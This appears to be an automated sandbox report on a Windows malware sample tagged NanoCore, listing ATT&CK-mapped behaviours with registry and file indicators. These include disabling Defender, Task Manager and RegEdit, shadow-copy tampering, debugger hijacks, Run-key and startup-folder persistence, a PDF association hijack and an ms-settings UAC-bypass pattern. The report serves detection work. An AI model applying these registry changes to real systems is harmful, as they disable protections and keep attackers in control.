nanocore | 1dc680f9da322e7f7eaf690f524e607698cca6f566c18ec10581c8d2615cf10a

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	grafme.com_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2852	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	grafme.com_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	grafme.com_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	grafme.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe"	grafme.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	grafme.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe"	grafme.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	grafme.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe"	grafme.com_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
2308	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	grafme.com_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	grafme.com_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	grafme.com_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe"	grafme.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe"	grafme.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe"	grafme.com_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1408	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	grafme.com_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	grafme.com_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	grafme.com_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
3144	wscript.exe
1812	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	grafme.com_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	grafme.com_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
828	sc.exe
4292	sc.exe
1572	sc.exe
5324	sc.exe
4400	sc.exe
3388	sc.exe
4112	sc.exe
1632	sc.exe
4692	sc.exe
2532	sc.exe
252	sc.exe
5664	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5692	cmd.exe
3932	cmd.exe
5188	cmd.exe
4784	cmd.exe
5356	cmd.exe
3420	cmd.exe
5056	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5944	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
1372	NETSTAT.EXE
3088	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
5656	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5416	vssadmin.exe
4084	vssadmin.exe
3120	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\WallpaperStyle = "2"	grafme.com_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134308742509443970"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings	grafme.com_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\DelegateExecute	grafme.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	grafme.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe\" \"%1\""	grafme.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command	grafme.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open	grafme.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open	grafme.com_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\grafme.com_chrome.exe"	grafme.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	grafme.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	grafme.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command	grafme.com_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell	grafme.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell	grafme.com_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	grafme.com_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	grafme.com_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings	grafme.com_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5652	schtasks.exe
3908	schtasks.exe
4924	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1596	chrome.exe
1596	chrome.exe
2852	powershell.exe
2852	powershell.exe
5324	WMIC.exe
5324	WMIC.exe
5324	WMIC.exe
5324	WMIC.exe
2852	powershell.exe
2852	powershell.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
2836	WMIC.exe
2836	WMIC.exe
2836	WMIC.exe
2836	WMIC.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
4320	WMIC.exe
4320	WMIC.exe
4320	WMIC.exe
4320	WMIC.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe
616	grafme.com_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
616	grafme.com_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeShutdownPrivilege	1596	chrome.exe
Token: SeCreatePagefilePrivilege	1596	chrome.exe
Token: SeShutdownPrivilege	1596	chrome.exe
Token: SeCreatePagefilePrivilege	1596	chrome.exe
Token: SeShutdownPrivilege	1596	chrome.exe
Token: SeCreatePagefilePrivilege	1596	chrome.exe
Token: SeIncreaseQuotaPrivilege	5324	WMIC.exe
Token: SeSecurityPrivilege	5324	WMIC.exe
Token: SeTakeOwnershipPrivilege	5324	WMIC.exe
Token: SeLoadDriverPrivilege	5324	WMIC.exe
Token: SeSystemProfilePrivilege	5324	WMIC.exe
Token: SeSystemtimePrivilege	5324	WMIC.exe
Token: SeProfSingleProcessPrivilege	5324	WMIC.exe
Token: SeIncBasePriorityPrivilege	5324	WMIC.exe
Token: SeCreatePagefilePrivilege	5324	WMIC.exe
Token: SeBackupPrivilege	5324	WMIC.exe
Token: SeRestorePrivilege	5324	WMIC.exe
Token: SeShutdownPrivilege	5324	WMIC.exe
Token: SeDebugPrivilege	5324	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5324	WMIC.exe
Token: SeRemoteShutdownPrivilege	5324	WMIC.exe
Token: SeUndockPrivilege	5324	WMIC.exe
Token: SeManageVolumePrivilege	5324	WMIC.exe
Token: 33	5324	WMIC.exe
Token: 34	5324	WMIC.exe
Token: 35	5324	WMIC.exe
Token: 36	5324	WMIC.exe
Token: SeBackupPrivilege	3688	vssvc.exe
Token: SeRestorePrivilege	3688	vssvc.exe
Token: SeAuditPrivilege	3688	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5324	WMIC.exe
Token: SeSecurityPrivilege	5324	WMIC.exe
Token: SeTakeOwnershipPrivilege	5324	WMIC.exe
Token: SeLoadDriverPrivilege	5324	WMIC.exe
Token: SeSystemProfilePrivilege	5324	WMIC.exe
Token: SeSystemtimePrivilege	5324	WMIC.exe
Token: SeProfSingleProcessPrivilege	5324	WMIC.exe
Token: SeIncBasePriorityPrivilege	5324	WMIC.exe
Token: SeCreatePagefilePrivilege	5324	WMIC.exe
Token: SeBackupPrivilege	5324	WMIC.exe
Token: SeRestorePrivilege	5324	WMIC.exe
Token: SeShutdownPrivilege	5324	WMIC.exe
Token: SeDebugPrivilege	5324	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5324	WMIC.exe
Token: SeRemoteShutdownPrivilege	5324	WMIC.exe
Token: SeUndockPrivilege	5324	WMIC.exe
Token: SeManageVolumePrivilege	5324	WMIC.exe
Token: 33	5324	WMIC.exe
Token: 34	5324	WMIC.exe
Token: 35	5324	WMIC.exe
Token: 36	5324	WMIC.exe
Token: SeDebugPrivilege	616	grafme.com_chrome.exe
Token: SeShutdownPrivilege	1596	chrome.exe
Token: SeCreatePagefilePrivilege	1596	chrome.exe
Token: SeShutdownPrivilege	1596	chrome.exe
Token: SeCreatePagefilePrivilege	1596	chrome.exe
Token: SeShutdownPrivilege	1596	chrome.exe
Token: SeCreatePagefilePrivilege	1596	chrome.exe
Token: SeShutdownPrivilege	1596	chrome.exe
Token: SeCreatePagefilePrivilege	1596	chrome.exe
Token: SeShutdownPrivilege	1596	chrome.exe
Token: SeCreatePagefilePrivilege	1596	chrome.exe
Token: SeIncreaseQuotaPrivilege	2836	WMIC.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe
1596	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
616	grafme.com_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 616 wrote to memory of 1596	616	grafme.com_chrome.exe	88
PID 1596 wrote to memory of 552	1596	chrome.exe	89
PID 616 wrote to memory of 2852	616	grafme.com_chrome.exe	91
PID 616 wrote to memory of 252	616	grafme.com_chrome.exe	93
PID 616 wrote to memory of 4400	616	grafme.com_chrome.exe	95
PID 1596 wrote to memory of 628	1596	chrome.exe	97
PID 1596 wrote to memory of 628	1596	chrome.exe	97
PID 1596 wrote to memory of 5944	1596	chrome.exe	98
PID 1596 wrote to memory of 2812	1596	chrome.exe	99
PID 1596 wrote to memory of 2812	1596	chrome.exe	99
PID 1596 wrote to memory of 4332	1596	chrome.exe	101
PID 1596 wrote to memory of 4332	1596	chrome.exe	101
PID 1596 wrote to memory of 5900	1596	chrome.exe	102
PID 1596 wrote to memory of 5900	1596	chrome.exe	102
PID 616 wrote to memory of 5664	616	grafme.com_chrome.exe	137
PID 616 wrote to memory of 3388	616	grafme.com_chrome.exe	105
PID 616 wrote to memory of 4112	616	grafme.com_chrome.exe	107
PID 616 wrote to memory of 1632	616	grafme.com_chrome.exe	109
PID 616 wrote to memory of 4292	616	grafme.com_chrome.exe	111
PID 616 wrote to memory of 828	616	grafme.com_chrome.exe	113
PID 616 wrote to memory of 4656	616	grafme.com_chrome.exe	115
PID 616 wrote to memory of 4692	616	grafme.com_chrome.exe	116
PID 616 wrote to memory of 1572	616	grafme.com_chrome.exe	118
PID 4656 wrote to memory of 4172	4656	fodhelper.exe	200
PID 616 wrote to memory of 5416	616	grafme.com_chrome.exe	121
PID 616 wrote to memory of 5324	616	grafme.com_chrome.exe	169
PID 616 wrote to memory of 3144	616	grafme.com_chrome.exe	128
PID 616 wrote to memory of 5652	616	grafme.com_chrome.exe	129
PID 616 wrote to memory of 4924	616	grafme.com_chrome.exe	131
PID 1596 wrote to memory of 6100	1596	chrome.exe	136
PID 1596 wrote to memory of 6100	1596	chrome.exe	136
PID 1596 wrote to memory of 5664	1596	chrome.exe	137
PID 1596 wrote to memory of 5664	1596	chrome.exe	137
PID 616 wrote to memory of 1448	616	grafme.com_chrome.exe	138
PID 616 wrote to memory of 4084	616	grafme.com_chrome.exe	139
PID 616 wrote to memory of 2836	616	grafme.com_chrome.exe	141
PID 616 wrote to memory of 4532	616	grafme.com_chrome.exe	143
PID 616 wrote to memory of 2308	616	grafme.com_chrome.exe	145
